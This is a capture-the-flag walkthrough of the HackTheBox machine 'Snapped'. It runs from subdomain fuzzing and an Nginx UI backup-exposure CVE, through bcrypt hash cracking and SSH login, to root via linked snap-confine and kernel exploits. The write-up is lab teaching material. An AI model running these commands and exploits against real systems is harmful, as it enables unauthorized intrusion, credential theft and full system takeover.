Snapped writeup & walkthrough

Snapped is a medium HackTheBox Linux machine exploiting Nginx UI via vhost fuzzing (CVE-2026-27944) to get RCE, then escalating privileges using a snap package vulnerability.

HackTheBox - Snapped

Access Path

no access => user => root

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level. ---

Initial Foothold

Subdomain Enumeration:

# Vhost: admin.snapped.htb => Nginx UI
# Ffuf to new vhost
ffuf -u http://snapped.htb -H "Host: FUZZ.snapped.htb" -w $wordlist

Directory Enumeration:

# Dir /assets
ffuf -u http://admin.snapped.htb/assets/FUZZ -w $wordlist

# We see version file in which nginx ui is shown

Nginx UI Exploitation

Vulnerability Identification:

# Found: Nginx UI version vulnerable to CVE-2026-27944 (<2.3.3)

References:

• Theory: https://securityaffairs.com/189123/security/critical-nginx-ui-flaw-cve-2026-27944-exposes-server-backups.html
• Python PoC: https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762

Exploit:

# Access backup API endpoint
/api/backup

# Run Python PoC to extract backup

Credential Extraction

Database Analysis:

# Extract data from SQLite database
sqlite3 database.db .dump

# Crack bcrypt hashes with John
john --wordlist=$rockyou hashes.bcrypt

# Or use hashcat
hashcat -m 3200 hashes.bcrypt $rockyou

SSH Access:

ssh user@$IP
# Password: [cracked_password]

Privilege Escalation

Method 1: CVE-2026-3888 - Snap Privilege Escalation

# Vulnerable: snap <2.74.2
# Exploit: https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE/tree/main

# Run exploit
./exploit.sh

Method 2: CVE-2026-31431 - Kernel Copy-Fail Exploit

# Kernel in 4.14–6.18.21 range
# Exploit: https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py
# Linenum-ng now discovers this as well
# https://github.com/strikoder/LinEnum-ng/blob/main/LinEnum-ng.sh

# Run exploit
python3 copy_fail_exp.py